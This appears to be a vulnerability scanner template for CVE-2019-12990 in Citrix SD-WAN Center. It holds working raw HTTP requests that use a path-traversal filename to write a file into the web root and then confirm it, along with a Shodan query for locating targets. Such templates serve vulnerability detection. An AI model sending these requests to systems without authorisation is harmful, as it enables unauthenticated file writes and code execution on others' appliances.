id: CVE-2019-12990

info:
  name: Citrix SD-WAN Center - Local File Inclusion
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
  remediation: |
    Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12990
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12990
    cwe-id: CWE-22
    epss-score: 0.95724
    epss-percentile: 0.99172
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query: http.title:"Citrix SD-WAN"
  tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
      - |
        GET /talari/app/files/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - contains(header, "text/html")
          - status_code_3 == 200
          - contains(body_1, "<title>Citrix SD-WAN</title>")
        condition: and